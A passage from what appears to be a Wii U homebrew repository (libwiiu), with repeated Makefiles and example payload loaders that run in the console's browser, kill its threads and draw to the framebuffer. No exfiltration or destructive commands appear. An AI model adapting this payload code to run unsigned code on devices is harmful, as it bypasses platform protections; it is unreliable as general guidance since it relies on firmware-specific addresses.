74 | 75 | main200: 76 | $(CC) $(CFLAGS) -DVER=200 $(project)/*.c 77 | #-Wa,-a,-ad 78 | cp -r $(root)/*.o $(build) 79 | rm $(root)/*.o 80 | $(LD) $(LDFLAGS) -o $(build)/code200.bin $(build)/loader.o $(libs)/200/*.o `find $(build) -name "*.o" ! -name "loader.o"` 81 | 82 | clean: 83 | rm -r $(build)/* 84 | -------------------------------------------------------------------------------- /examples/gx2/src/loader.c: -------------------------------------------------------------------------------- 1 | #include "loader.h" 2 | 3 | void _start() 4 | { 5 | /* Get a handle to coreinit.rpl and gx2.rpl */ 6 | uint32_t coreinit_handle, gx2_handle; 7 | OSDynLoad_Acquire("coreinit.rpl", &coreinit_handle); 8 | OSDynLoad_Acquire("gx2.rpl", &gx2_handle); 9 | 10 | /* OS memory and IM functions */ 11 | void* (*memset)(void *dest, uint32_t value, uint32_t bytes); 12 | void* (*OSAllocFromSystem)(uint32_t size, int align); 13 | void (*OSFreeToSystem)(void *ptr); 14 | int(*IM_Open)(); 15 | int(*IM_Close)(int fd); 16 | int(*IM_SetDeviceState)(int fd, void *mem, int state, int a, int b); 17 | OSDynLoad_FindExport(coreinit_handle, 0, "memset", &memset); 18 | OSDynLoad_FindExport(coreinit_handle, 0, "OSAllocFromSystem", &OSAllocFromSystem); 19 | OSDynLoad_FindExport(coreinit_handle, 0, "OSFreeToSystem", &OSFreeToSystem); 20 | OSDynLoad_FindExport(coreinit_handle, 0, "IM_Open", &IM_Open); 21 | OSDynLoad_FindExport(coreinit_handle, 0, "IM_Close", &IM_Close); 22 | OSDynLoad_FindExport(coreinit_handle, 0, "IM_SetDeviceState", &IM_SetDeviceState); 23 | 24 | /* GX2 display functions */ 25 | void (*GX2SetDRCEnable)(bool enable); 26 | void (*GX2WaitForVsync)(); 27 | void (*GX2SwapScanBuffers)(); 28 | void (*GX2Invalidate)(int buf_type, void *addr, int length); 29 | OSDynLoad_FindExport(gx2_handle, 0, "GX2SetDRCEnable", &GX2SetDRCEnable); 30 | OSDynLoad_FindExport(gx2_handle, 0, "GX2WaitForVsync", &GX2WaitForVsync); 31 | OSDynLoad_FindExport(gx2_handle, 0, "GX2SwapScanBuffers", &GX2SwapScanBuffers); 32 | OSDynLoad_FindExport(gx2_handle, 0, "GX2Invalidate", &GX2Invalidate); 33 | 34 | /* Cause the other browser threads to exit */ 35 | int fd = IM_Open(); 36 | void *mem = OSAllocFromSystem(0x100, 64); 37 | memset(mem, 0, 0x100); 38 | IM_SetDeviceState(fd, mem, 3, 0, 0); 39 | IM_Close(fd); 40 | OSFreeToSystem(mem); 41 | 42 | /* Wait for the threads to exit */ 43 | unsigned int t1 = 0x1FFFFFFF; 44 | while(t1--); 45 | 46 | /* Get the framebuffer of the TV or DRC */ 47 | int dev = 1; 48 | uint32_t *fb_front = (uint32_t*) *((uint32_t*)(0x1031AEC0 + 0x304 + (dev * 0x20))); 49 | uint32_t *fb_back = fb_front + (864 * 480); 50 | 51 | /* Write blue to the screen and swap the buffers */ 52 | for (int i = 0; i < 864 * 320; i++) *fb_back++ = 0x00FF00FF; 53 | GX2Invalidate(0x40, fb_back, 864 * 320 * 4); 54 | GX2WaitForVsync(); 55 | GX2SwapScanBuffers(); 56 | 57 | void (*OSScreenInit)(); 58 | OSDynLoad_FindExport(coreinit_handle, 0, "OSScreenInit", &OSScreenInit); 59 | OSScreenInit(); 60 | 61 | while(1); 62 | } 63 | -------------------------------------------------------------------------------- /examples/gx2/src/loader.h: -------------------------------------------------------------------------------- 1 | #ifndef LOADER_H 2 | #define LOADER_H 3 | 4 | #include "../../../libwiiu/src/coreinit.h" 5 | #include "../../../libwiiu/src/types.h" 6 | 7 | void _start(); 8 | 9 | void _entryPoint(); 10 | #endif /* LOADER_H */ -------------------------------------------------------------------------------- /examples/gx2thread/Makefile: -------------------------------------------------------------------------------- 1 | PATH := $(DEVKITPPC)/bin:$(PATH) 2 | PREFIX = powerpc-eabi- 3 | CC = $(PREFIX)gcc 4 | CFLAGS = -nostdinc -fno-builtin -c 5 | LD = $(PREFIX)ld 6 | LDFLAGS = -Ttext 1800000 --oformat binary 7 | project := src 8 | root := . 9 | build := $(root)/bin 10 | libs := $(root)/../../libwiiu/bin 11 | www := $(root)/../../www 12 | framework := $(root)/../../framework 13 | 14 | all: setup main550 main532 main500 main410 main400 main310 main300 main210 main200 15 | 16 | setup: 17 | mkdir -p $(root)/bin/ 18 | 19 | main550: 20 | $(CC) $(CFLAGS) -DVER=550 $(project)/*.c 21 | #-Wa,-a,-ad 22 | cp -r $(root)/*.o $(build) 23 | rm $(root)/*.o 24 | $(LD) $(LDFLAGS) -o $(build)/code550.bin $(build)/loader.o $(libs)/550/*.o `find $(build) -name "*.o" ! -name "loader.o"` 25 | 26 | main532: 27 | $(CC) $(CFLAGS) -DVER=532 $(project)/*.c 28 | #-Wa,-a,-ad 29 | cp -r $(root)/*.o $(build) 30 | rm $(root)/*.o 31 | $(LD) $(LDFLAGS) -o $(build)/code532.bin $(build)/loader.o $(libs)/532/*.o `find $(build) -name "*.o" ! -name "loader.o"` 32 | 33 | main500: 34 | $(CC) $(CFLAGS) -DVER=500 $(project)/*.c 35 | #-Wa,-a,-ad 36 | cp -r $(root)/*.o $(build) 37 | rm $(root)/*.o 38 | $(LD) $(LDFLAGS) -o $(build)/code500.bin $(build)/loader.o $(libs)/500/*.o `find $(build) -name "*.o" ! -name "loader.o"` 39 | 40 | main410: 41 | $(CC) $(CFLAGS) -DVER=410 $(project)/*.c 42 | #-Wa,-a,-ad 43 | cp -r $(root)/*.o $(build) 44 | rm $(root)/*.o 45 | $(LD) $(LDFLAGS) -o $(build)/code410.bin $(build)/loader.o $(libs)/410/*.o `find $(build) -name "*.o" ! -name "loader.o"` 46 | 47 | main400: 48 | $(CC) $(CFLAGS) -DVER=400 $(project)/*.c 49 | #-Wa,-a,-ad 50 | cp -r $(root)/*.o $(build) 51 | rm $(root)/*.o 52 | $(LD) $(LDFLAGS) -o $(build)/code400.bin $(build)/loader.o $(libs)/400/*.o `find $(build) -name "*.o" ! -name "loader.o"` 53 | 54 | main310: 55 | $(CC) $(CFLAGS) -DVER=310 $(project)/*.c 56 | #-Wa,-a,-ad 57 | cp -r $(root)/*.o $(build) 58 | rm $(root)/*.o 59 | $(LD) $(LDFLAGS) -o $(build)/code310.bin $(build)/loader.o $(libs)/310/*.o `find $(build) -name "*.o" ! -name "loader.o"` 60 | 61 | main300: 62 | $(CC) $(CFLAGS) -DVER=300 $(project)/*.c 63 | #-Wa,-a,-ad 64 | cp -r $(root)/*.o $(build) 65 | rm $(root)/*.o 66 | $(LD) $(LDFLAGS) -o $(build)/code300.bin $(build)/loader.o $(libs)/300/*.o `find $(build) -name "*.o" ! -name "loader.o"` 67 | 68 | main210: 69 | $(CC) $(CFLAGS) -DVER=210 $(project)/*.c 70 | #-Wa,-a,-ad 71 | cp -r $(root)/*.o $(build) 72 | rm $(root)/*.o 73 | $(LD) $(LDFLAGS) -o $(build)/code210.bin $(build)/loader.o $(libs)/210/*.o `find $(build) -name "*.o" ! -name "loader.o"` 74 | 75 | main200: 76 | $(CC) $(CFLAGS) -DVER=200 $(project)/*.c 77 | #-Wa,-a,-ad 78 | cp -r $(root)/*.o $(build) 79 | rm $(root)/*.o 80 | $(LD) $(LDFLAGS) -o $(build)/code200.bin $(build)/loader.o $(libs)/200/*.o `find $(build) -name "*.o" ! -name "loader.o"` 81 | 82 | clean: 83 | rm -r $(build)/* 84 | -------------------------------------------------------------------------------- /examples/gx2thread/src/loader.h: -------------------------------------------------------------------------------- 1 | #ifndef LOADER_H 2 | #define LOADER_H 3 | 4 | #include "../../../libwiiu/src/coreinit.h" 5 | 6 | typedef struct _GX2Surface { 7 | unsigned int dim; 8 | unsigned int width; 9 | unsigned int height; 10 | unsigned int depth; 11 | unsigned int numMips; 12 | unsigned int surfaceFormat; 13 | unsigned int aa; 14 | union { 15 | unsigned int surfaceUse; 16 | unsigned int resourceFlags; 17 | }; 18 | unsigned int imageSize; 19 | union { 20 | void *imagePtr; 21 | void *pMem; 22 | }; 23 | unsigned int mipSize; 24 | void *mipPtr; 25 | unsigned int tileMode; 26 | unsigned int swizzle; 27 | unsigned int alignment; 28 | unsigned int pitch; 29 | unsigned int mipOffset[ 13 ]; 30 | 31 | } GX2Surface; 32 | 33 | typedef struct _GX2ColorBuffer { 34 | GX2Surface surface; 35 | 36 | unsigned int viewMip; 37 | unsigned int viewFirstSlice; 38 | unsigned int viewNumSlices; 39 | 40 | void *auxPtr; 41 | unsigned int auxSize; 42 | 43 | unsigned int _regs[5]; 44 | 45 | } GX2ColorBuffer; 46 | 47 | 48 | void _start(); 49 | 50 | #endif /* LOADER_H */ -------------------------------------------------------------------------------- /examples/heapcreate/Makefile: -------------------------------------------------------------------------------- 1 | PATH := $(DEVKITPPC)/bin:$(PATH) 2 | PREFIX = powerpc-eabi- 3 | CC = $(PREFIX)gcc 4 | CFLAGS = -nostdinc -fno-builtin -c 5 | LD = $(PREFIX)ld 6 | LDFLAGS = -Ttext 1800000 --oformat binary 7 | project := src 8 | root := . 9 | build := $(root)/bin 10 | libs := $(root)/../../libwiiu/bin 11 | www := $(root)/../../www 12 | framework := $(root)/../../framework 13 | 14 | all: setup main550 main532 main500 main410 main400 main310 main300 main210 main200 15 | 16 | setup: 17 | mkdir -p $(root)/bin/ 18 | 19 | main550: 20 | $(CC) $(CFLAGS) -DVER=550 $(project)/*.c 21 | #-Wa,-a,-ad 22 | cp -r $(root)/*.o $(build) 23 | rm $(root)/*.o 24 | $(LD) $(LDFLAGS) -o $(build)/code550.bin $(build)/loader.o $(libs)/550/*.o `find $(build) -name "*.o" ! -name "loader.o"` 25 | 26 | main532: 27 | $(CC) $(CFLAGS) -DVER=532 $(project)/*.c 28 | #-Wa,-a,-ad 29 | cp -r $(root)/*.o $(build) 30 | rm $(root)/*.o 31 | $(LD) $(LDFLAGS) -o $(build)/code532.bin $(build)/loader.o $(libs)/532/*.o `find $(build) -name "*.o" ! -name "loader.o"` 32 | 33 | main500: 34 | $(CC) $(CFLAGS) -DVER=500 $(project)/*.c 35 | #-Wa,-a,-ad 36 | cp -r $(root)/*.o $(build) 37 | rm $(root)/*.o 38 | $(LD) $(LDFLAGS) -o $(build)/code500.bin $(build)/loader.o $(libs)/500/*.o `find $(build) -name "*.o" ! -name "loader.o"` 39 | 40 | main410: 41 | $(CC) $(CFLAGS) -DVER=410 $(project)/*.c 42 | #-Wa,-a,-ad 43 | cp -r $(root)/*.o $(build) 44 | rm $(root)/*.o 45 | $(LD) $(LDFLAGS) -o $(build)/code410.bin $(build)/loader.o $(libs)/410/*.o `find $(build) -name "*.o" ! -name "loader.o"` 46 | 47 | main400: 48 | $(CC) $(CFLAGS) -DVER=400 $(project)/*.c 49 | #-Wa,-a,-ad 50 | cp -r $(root)/*.o $(build) 51 | rm $(root)/*.o 52 | $(LD) $(LDFLAGS) -o $(build)/code400.bin $(build)/loader.o $(libs)/400/*.o `find $(build) -name "*.o" ! -name "loader.o"` 53 | 54 | main310: 55 | $(CC) $(CFLAGS) -DVER=310 $(project)/*.c 56 | #-Wa,-a,-ad 57 | cp -r $(root)/*.o $(build) 58 | rm $(root)/*.o 59 | $(LD) $(LDFLAGS) -o $(build)/code310.bin $(build)/loader.o $(libs)/310/*.o `find $(build) -name "*.o" ! -name "loader.o"` 60 | 61 | main300: 62 | $(CC) $(CFLAGS) -DVER=300 $(project)/*.c 63 | #-Wa,-a,-ad 64 | cp -r $(root)/*.o $(build) 65 | rm $(root)/*.o 66 | $(LD) $(LDFLAGS) -o $(build)/code300.bin $(build)/loader.o $(libs)/300/*.o `find $(build) -name "*.o" ! -name "loader.o"` 67 | 68 | main210: 69 | $(CC) $(CFLAGS) -DVER=210 $(project)/*.c 70 | #-Wa,-a,-ad 71 | cp -r $(root)/*.o $(build) 72 | rm $(root)/*.o 73 | $(LD) $(LDFLAGS) -o $(build)/code210.bin $(build)/loader.o $(libs)/210/*.o `find $(build) -name "*.o" ! -name "loader.o"` 74 | 75 | main200: 76 | $(CC) $(CFLAGS) -DVER=200 $(project)/*.c 77 | #-Wa,-a,-ad 78 | cp -r $(root)/*.o $(build) 79 | rm $(root)/*.o 80 | $(LD) $(LDFLAGS) -o $(build)/code200.bin $(build)/loader.o $(libs)/200/*.o `find $(build) -name "*.o" ! -name "loader.o"` 81 | 82 | clean: 83 | rm -r $(build)/* 84 | -------------------------------------------------------------------------------- /examples/heapcreate/src/loader.h: -------------------------------------------------------------------------------- 1 | #ifndef LOADER_H 2 | #define LOADER_H 3 | 4 | #include "../../../libwiiu/src/coreinit.h" 5 | #include "../../../libwiiu/src/types.h" 6 | #include "../../../libwiiu/src/draw.h" 7 | void _start(); 8 | 9 | void _entryPoint(); 10 | #endif /* LOADER_H */ -------------------------------------------------------------------------------- /examples/heapsearch/Makefile: -------------------------------------------------------------------------------- 1 | PATH := $(DEVKITPPC)/bin:$(PATH) 2 | PREFIX = powerpc-eabi- 3 | CC = $(PREFIX)gcc 4 | CFLAGS = -nostdinc -fno-builtin -c 5 | LD = $(PREFIX)ld 6 | LDFLAGS = -Ttext 1800000 --oformat binary 7 | project := src 8 | root := . 9 | build := $(root)/bin 10 | libs := $(root)/../../libwiiu/bin 11 | www := $(root)/../../www 12 | framework := $(root)/../../framework 13 | 14 | all: setup main550 main532 main500 main410 main400 main310 main300 main210 main200 15 | 16 | setup: 17 | mkdir -p $(root)/bin/ 18 | 19 | main550: 20 | $(CC) $(CFLAGS) -DVER=550 $(project)/*.c 21 | #-Wa,-a,-ad 22 | cp -r $(root)/*.o $(build) 23 | rm $(root)/*.o 24 | $(LD) $(LDFLAGS) -o $(build)/code550.bin $(build)/loader.o $(libs)/550/*.o `find $(build) -name "*.o" ! -name "loader.o"` 25 | 26 | main532: 27 | $(CC) $(CFLAGS) -DVER=532 $(project)/*.c 28 | #-Wa,-a,-ad 29 | cp -r $(root)/*.o $(build) 30 | rm $(root)/*.o 31 | $(LD) $(LDFLAGS) -o $(build)/code532.bin $(build)/loader.o $(libs)/532/*.o `find $(build) -name "*.o" ! -name "loader.o"` 32 | 33 | main500: 34 | $(CC) $(CFLAGS) -DVER=500 $(project)/*.c 35 | #-Wa,-a,-ad 36 | cp -r $(root)/*.o $(build) 37 | rm $(root)/*.o 38 | $(LD) $(LDFLAGS) -o $(build)/code500.bin $(build)/loader.o $(libs)/500/*.o `find $(build) -name "*.o" ! -name "loader.o"` 39 | 40 | main410: 41 | $(CC) $(CFLAGS) -DVER=410 $(project)/*.c 42 | #-Wa,-a,-ad 43 | cp -r $(root)/*.o $(build) 44 | rm $(root)/*.o 45 | $(LD) $(LDFLAGS) -o $(build)/code410.bin $(build)/loader.o $(libs)/410/*.o `find $(build) -name "*.o" ! -name "loader.o"` 46 | 47 | main400: 48 | $(CC) $(CFLAGS) -DVER=400 $(project)/*.c 49 | #-Wa,-a,-ad 50 | cp -r $(root)/*.o $(build) 51 | rm $(root)/*.o 52 | $(LD) $(LDFLAGS) -o $(build)/code400.bin $(build)/loader.o $(libs)/400/*.o `find $(build) -name "*.o" ! -name "loader.o"` 53 | 54 | main310: 55 | $(CC) $(CFLAGS) -DVER=310 $(project)/*.c 56 | #-Wa,-a,-ad 57 | cp -r $(root)/*.o $(build) 58 | rm $(root)/*.o 59 | $(LD) $(LDFLAGS) -o $(build)/code310.bin $(build)/loader.o $(libs)/310/*.o `find $(build) -name "*.o" ! -name "loader.o"` 60 | 61 | main300: 62 | $(CC) $(CFLAGS) -DVER=300 $(project)/*.c 63 | #-Wa,-a,-ad 64 | cp -r $(root)/*.o $(build) 65 | rm $(root)/*.o 66 | $(LD) $(LDFLAGS) -o $(build)/code300.bin $(build)/loader.o $(libs)/300/*.o `find $(build) -name "*.o" ! -name "loader.o"` 67 | 68 | main210: 69 | $(CC) $(CFLAGS) -DVER=210 $(project)/*.c 70 | #-Wa,-a,-ad 71 | cp -r $(root)/*.o $(build) 72 | rm $(root)/*.o 73 | $(LD) $(LDFLAGS) -o $(build)/code210.bin $(build)/loader.o $(libs)/210/*.o `find $(build) -name "*.o" ! -name "loader.o"` 74 | 75 | main200: 76 | $(CC) $(CFLAGS) -DVER=200 $(project)/*.c 77 | #-Wa,-a,-ad 78 | cp -r $(root)/*.o $(build) 79 | rm $(root)/*.o 80 | $(LD) $(LDFLAGS) -o $(build)/code200.bin $(build)/loader.o $(libs)/200/*.o `find $(build) -name "*.o" ! -name "loader.o"` 81 | 82 | clean: 83 | rm -r $(build)/* 84 | -------------------------------------------------------------------------------- /examples/heapsearch/src/loader.c: -------------------------------------------------------------------------------- 1 | #include "loader.h" 2 | 3 | void _start() 4 | { 5 | asm( 6 | "lis %r1, 0x1ab5 ;" 7 | "ori %r1, %r1, 0xd138 ;" 8 | ); 9 | unsigned int coreinit_handle; 10 | OSDynLoad_Acquire("coreinit", &coreinit_handle); 11 | unsigned int(*MEMGetTotalFreeSizeForExpHeap)(void*expHeap); 12 | OSDynLoad_FindExport(coreinit_handle, 0, "MEMGetTotalFreeSizeForExpHeap", &MEMGetTotalFreeSizeForExpHeap); 13 | unsigned char *str; 14 | void *expHeap = (void*)0; 15 | float expSize = 0.f; 16 | /* this area appears semi-safe to search through */ 17 | for(str = (unsigned char*)0x15000000; str < (unsigned char*)0x25000000; str+=4) 18 | { 19 | if(*(unsigned int*)str == 0x45585048) 20 | { 21 | void *tmpHeap = str; 22 | float tmpSize = (float)MEMGetTotalFreeSizeForExpHeap(tmpHeap); 23 | if(tmpSize > expSize) 24 | { 25 | expHeap = tmpHeap; 26 | expSize = tmpSize; 27 | } 28 | } 29 | } 30 | if(expHeap != (void*)0) 31 | { 32 | char buf[64]; 33 | __os_snprintf(buf,64,"Biggest ExpHeap is %08x with %.2fMB left", expHeap, expSize/1024/1024); 34 | OSFatal(buf); 35 | } 36 | OSFatal("No Heaps found!"); 37 | } -------------------------------------------------------------------------------- /examples/heapsearch/src/loader.h: -------------------------------------------------------------------------------- 1 | #ifndef LOADER_H 2 | #define LOADER_H 3 | 4 | #include "../../../libwiiu/src/coreinit.h" 5 | 6 | void _start(); 7 | 8 | void _entryPoint(); 9 | #endif /* LOADER_H */ -------------------------------------------------------------------------------- /examples/helloworld/Makefile: -------------------------------------------------------------------------------- 1 | PATH := $(DEVKITPPC)/bin:$(PATH) 2 | PREFIX = powerpc-eabi- 3 | CC = $(PREFIX)gcc 4 | CFLAGS = -nostdinc -fno-builtin -c 5 | LD = $(PREFIX)ld 6 | LDFLAGS = -Ttext 1800000 --oformat binary 7 | project := src 8 | root := . 9 | build := $(root)/bin 10 | libs = $(root)/../../libwiiu/bin 11 | www := $(root)/../../www 12 | framework := $(root)/../../framework 13 | 14 | all: setup main550 main532 main500 main410 main400 main310 main300 main210 main200 15 | 16 | setup: 17 | mkdir -p $(root)/bin/ 18 | 19 | main550: 20 | $(CC) $(CFLAGS) -DVER=550 $(project)/*.c 21 | #-Wa,-a,-ad 22 | cp -r $(root)/*.o $(build) 23 | rm $(root)/*.o 24 | $(LD) $(LDFLAGS) -o $(build)/code550.bin $(build)/loader.o $(libs)/550/*.o `find $(build) -name "*.o" ! -name "loader.o"` 25 | 26 | main532: 27 | $(CC) $(CFLAGS) -DVER=532 $(project)/*.c 28 | #-Wa,-a,-ad 29 | cp -r $(root)/*.o $(build) 30 | rm $(root)/*.o 31 | $(LD) $(LDFLAGS) -o $(build)/code532.bin $(build)/loader.o $(libs)/532/*.o `find $(build) -name "*.o" ! -name "loader.o"` 32 | 33 | main500: 34 | $(CC) $(CFLAGS) -DVER=500 $(project)/*.c 35 | #-Wa,-a,-ad 36 | cp -r $(root)/*.o $(build) 37 | rm $(root)/*.o 38 | $(LD) $(LDFLAGS) -o $(build)/code500.bin $(build)/loader.o $(libs)/500/*.o `find $(build) -name "*.o" ! -name "loader.o"` 39 | 40 | main410: 41 | $(CC) $(CFLAGS) -DVER=410 $(project)/*.c 42 | #-Wa,-a,-ad 43 | cp -r $(root)/*.o $(build) 44 | rm $(root)/*.o 45 | $(LD) $(LDFLAGS) -o $(build)/code410.bin $(build)/loader.o $(libs)/410/*.o `find $(build) -name "*.o" ! -name "loader.o"` 46 | 47 | main400: 48 | $(CC) $(CFLAGS) -DVER=400 $(project)/*.c 49 | #-Wa,-a,-ad 50 | cp -r $(root)/*.o $(build) 51 | rm $(root)/*.o 52 | $(LD) $(LDFLAGS) -o $(build)/code400.bin $(build)/loader.o $(libs)/400/*.o `find $(build) -name "*.o" ! -name "loader.o"` 53 | 54 | main310: 55 | $(CC) $(CFLAGS) -DVER=310 $(project)/*.c 56 | #-Wa,-a,-ad 57 | cp -r $(root)/*.o $(build) 58 | rm $(root)/*.o 59 | $(LD) $(LDFLAGS) -o $(build)/code310.bin $(build)/loader.o $(libs)/310/*.o `find $(build) -name "*.o" ! -name "loader.o"` 60 | 61 | main300: 62 | $(CC) $(CFLAGS) -DVER=300 $(project)/*.c 63 | #-Wa,-a,-ad 64 | cp -r $(root)/*.o $(build) 65 | rm $(root)/*.o 66 | $(LD) $(LDFLAGS) -o $(build)/code300.bin $(build)/loader.o $(libs)/300/*.o `find $(build) -name "*.o" ! -name "loader.o"` 67 | 68 | main210: 69 | $(CC) $(CFLAGS) -DVER=210 $(project)/*.c 70 | #-Wa,-a,-ad 71 | cp -r $(root)/*.o $(build) 72 | rm $(root)/*.o 73 | $(LD) $(LDFLAGS) -o $(build)/code210.bin $(build)/loader.o $(libs)/210/*.o `find $(build) -name "*.o" ! -name "loader.o"` 74 | 75 | main200: 76 | $(CC) $(CFLAGS) -DVER=200 $(project)/*.c 77 | #-Wa,-a,-ad 78 | cp -r $(root)/*.o $(build) 79 | rm $(root)/*.o 80 | $(LD) $(LDFLAGS) -o $(build)/code200.bin $(build)/loader.o $(libs)/200/*.o `find $(build) -name "*.o" ! -name "loader.o"` 81 | 82 | clean: 83 | rm -r $(build)/* 84 | -------------------------------------------------------------------------------- /examples/helloworld/src/loader.c: -------------------------------------------------------------------------------- 1 | #include "loader.h" 2 | 3 | void _start() 4 | { 5 | OSFatal("Hello World!\n"); 6 | } -------------------------------------------------------------------------------- /examples/helloworld/src/loader.h: -------------------------------------------------------------------------------- 1 | #ifndef LOADER_H 2 | #define LOADER_H 3 | 4 | #include "../../../libwiiu/src/coreinit.h" 5 | 6 | void _start(); 7 | 8 | void _entryPoint(); 9 | #endif /* LOADER_H */ -------------------------------------------------------------------------------- /examples/lcdma/Makefile: -------------------------------------------------------------------------------- 1 | PATH := $(DEVKITPPC)/bin:$(PATH) 2 | PREFIX = powerpc-eabi- 3 | CC = $(PREFIX)gcc 4 | CFLAGS = -nostdinc -fno-builtin -c 5 | LD = $(PREFIX)ld 6 | LDFLAGS = -Ttext 1800000 --oformat binary 7 | project := src 8 | root := . 9 | build := $(root)/bin 10 | libs := $(root)/../../libwiiu/bin 11 | www := $(root)/../../www 12 | framework := $(root)/../../framework 13 | 14 | all: setup main550 main532 main500 main410 main400 main310 main300 main210 main200 15 | 16 | setup: 17 | mkdir -p $(root)/bin/ 18 | 19 | main550: 20 | $(CC) $(CFLAGS) -DVER=550 $(project)/*.c 21 | #-Wa,-a,-ad 22 | cp -r $(root)/*.o $(build) 23 | rm $(root)/*.o 24 | $(LD) $(LDFLAGS) -o $(build)/code550.bin $(build)/loader.o $(libs)/550/*.o `find $(build) -name "*.o" ! -name "loader.o"` 25 | 26 | main532: 27 | $(CC) $(CFLAGS) -DVER=532 $(project)/*.c 28 | #-Wa,-a,-ad 29 | cp -r $(root)/*.o $(build) 30 | rm $(root)/*.o 31 | $(LD) $(LDFLAGS) -o $(build)/code532.bin $(build)/loader.o $(libs)/532/*.o `find $(build) -name "*.o" ! -name "loader.o"` 32 | 33 | main500: 34 | $(CC) $(CFLAGS) -DVER=500 $(project)/*.c 35 | #-Wa,-a,-ad 36 | cp -r $(root)/*.o $(build) 37 | rm $(root)/*.o 38 | $(LD) $(LDFLAGS) -o $(build)/code500.bin $(build)/loader.o $(libs)/500/*.o `find $(build) -name "*.o" ! -name "loader.o"` 39 | 40 | main410: 41 | $(CC) $(CFLAGS) -DVER=410 $(project)/*.c 42 | #-Wa,-a,-ad 43 | cp -r $(root)/*.o $(build) 44 | rm $(root)/*.o 45 | $(LD) $(LDFLAGS) -o $(build)/code410.bin $(build)/loader.o $(libs)/410/*.o `find $(build) -name "*.o" ! -name "loader.o"` 46 | 47 | main400: 48 | $(CC) $(CFLAGS) -DVER=400 $(project)/*.c 49 | #-Wa,-a,-ad 50 | cp -r $(root)/*.o $(build) 51 | rm $(root)/*.o 52 | $(LD) $(LDFLAGS) -o $(build)/code400.bin $(build)/loader.o $(libs)/400/*.o `find $(build) -name "*.o" ! -name "loader.o"` 53 | 54 | main310: 55 | $(CC) $(CFLAGS) -DVER=310 $(project)/*.c 56 | #-Wa,-a,-ad 57 | cp -r $(root)/*.o $(build) 58 | rm $(root)/*.o 59 | $(LD) $(LDFLAGS) -o $(build)/code310.bin $(build)/loader.o $(libs)/310/*.o `find $(build) -name "*.o" ! -name "loader.o"` 60 | 61 | main300: 62 | $(CC) $(CFLAGS) -DVER=300 $(project)/*.c 63 | #-Wa,-a,-ad 64 | cp -r $(root)/*.o $(build) 65 | rm $(root)/*.o 66 | $(LD) $(LDFLAGS) -o $(build)/code300.bin $(build)/loader.o $(libs)/300/*.o `find $(build) -name "*.o" ! -name "loader.o"` 67 | 68 | main210: 69 | $(CC) $(CFLAGS) -DVER=210 $(project)/*.c 70 | #-Wa,-a,-ad 71 | cp -r $(root)/*.o $(build) 72 | rm $(root)/*.o 73 | $(LD) $(LDFLAGS) -o $(build)/code210.bin $(build)/loader.o $(libs)/210/*.o `find $(build) -name "*.o" ! -name "loader.o"` 74 | 75 | main200: 76 | $(CC) $(CFLAGS) -DVER=200 $(project)/*.c 77 | #-Wa,-a,-ad 78 | cp -r $(root)/*.o $(build) 79 | rm $(root)/*.o 80 | $(LD) $(LDFLAGS) -o $(build)/code200.bin $(build)/loader.o $(libs)/200/*.o `find $(build) -name "*.o" ! -name "loader.o"` 81 | 82 | clean: 83 | rm -r $(build)/* 84 | -------------------------------------------------------------------------------- /examples/lcdma/src/loader.h: -------------------------------------------------------------------------------- 1 | #ifndef LOADER_H 2 | #define LOADER_H 3 | 4 | #include "../../../libwiiu/src/coreinit.h" 5 | #include "../../../libwiiu/src/types.h" 6 | #include "../../../libwiiu/src/socket.h" 7 | #include "../../../libwiiu/src/string.h" 8 | 9 | 10 | void _start(); 11 | 12 | void _entryPoint(); 13 | #endif /* LOADER_H */ -------------------------------------------------------------------------------- /examples/osldr/Makefile: -------------------------------------------------------------------------------- 1 | PATH := $(DEVKITPPC)/bin:$(PATH) 2 | PREFIX = powerpc-eabi- 3 | CC = $(PREFIX)gcc 4 | CFLAGS = -std=gnu99 -nostdinc -fno-builtin -c 5 | LD = $(PREFIX)ld 6 | LDFLAGS = -Ttext 1800000 --oformat binary 7 | project := src 8 | root := . 9 | build := $(root)/bin 10 | libs := $(root)/../../libwiiu/bin 11 | www := $(root)/../../www 12 | framework := $(root)/../../framework 13 | 14 | all: setup main550 main532 main500 main410 main400 main310 main300 main210 main200 15 | 16 | setup: 17 | mkdir -p $(root)/bin/ 18 | 19 | main550: 20 | $(CC) $(CFLAGS) -DVER=550 $(project)/*.c 21 | #-Wa,-a,-ad 22 | cp -r $(root)/*.o $(build) 23 | rm $(root)/*.o 24 | $(LD) $(LDFLAGS) -o $(build)/code550.bin $(build)/loader.o $(libs)/550/*.o `find $(build) -name "*.o" ! -name "loader.o"` 25 | 26 | main532: 27 | $(CC) $(CFLAGS) -DVER=532 $(project)/*.c 28 | #-Wa,-a,-ad 29 | cp -r $(root)/*.o $(build) 30 | rm $(root)/*.o 31 | $(LD) $(LDFLAGS) -o $(build)/code532.bin $(build)/loader.o $(libs)/532/*.o `find $(build) -name "*.o" ! -name "loader.o"` 32 | 33 | main500: 34 | $(CC) $(CFLAGS) -DVER=500 $(project)/*.c 35 | #-Wa,-a,-ad 36 | cp -r $(root)/*.o $(build) 37 | rm $(root)/*.o 38 | $(LD) $(LDFLAGS) -o $(build)/code500.bin $(build)/loader.o $(libs)/500/*.o `find $(build) -name "*.o" ! -name "loader.o"` 39 | 40 | main410: 41 | $(CC) $(CFLAGS) -DVER=410 $(project)/*.c 42 | #-Wa,-a,-ad 43 | cp -r $(root)/*.o $(build) 44 | rm $(root)/*.o 45 | $(LD) $(LDFLAGS) -o $(build)/code410.bin $(build)/loader.o $(libs)/410/*.o `find $(build) -name "*.o" ! -name "loader.o"` 46 | 47 | main400: 48 | $(CC) $(CFLAGS) -DVER=400 $(project)/*.c 49 | #-Wa,-a,-ad 50 | cp -r $(root)/*.o $(build) 51 | rm $(root)/*.o 52 | $(LD) $(LDFLAGS) -o $(build)/code400.bin $(build)/loader.o $(libs)/400/*.o `find $(build) -name "*.o" ! -name "loader.o"` 53 | 54 | main310: 55 | $(CC) $(CFLAGS) -DVER=310 $(project)/*.c 56 | #-Wa,-a,-ad 57 | cp -r $(root)/*.o $(build) 58 | rm $(root)/*.o 59 | $(LD) $(LDFLAGS) -o $(build)/code310.bin $(build)/loader.o $(libs)/310/*.o `find $(build) -name "*.o" ! -name "loader.o"` 60 | 61 | main300: 62 | $(CC) $(CFLAGS) -DVER=300 $(project)/*.c 63 | #-Wa,-a,-ad 64 | cp -r $(root)/*.o $(build) 65 | rm $(root)/*.o 66 | $(LD) $(LDFLAGS) -o $(build)/code300.bin $(build)/loader.o $(libs)/300/*.o `find $(build) -name "*.o" ! -name "loader.o"` 67 | 68 | main210: 69 | $(CC) $(CFLAGS) -DVER=210 $(project)/*.c 70 | #-Wa,-a,-ad 71 | cp -r 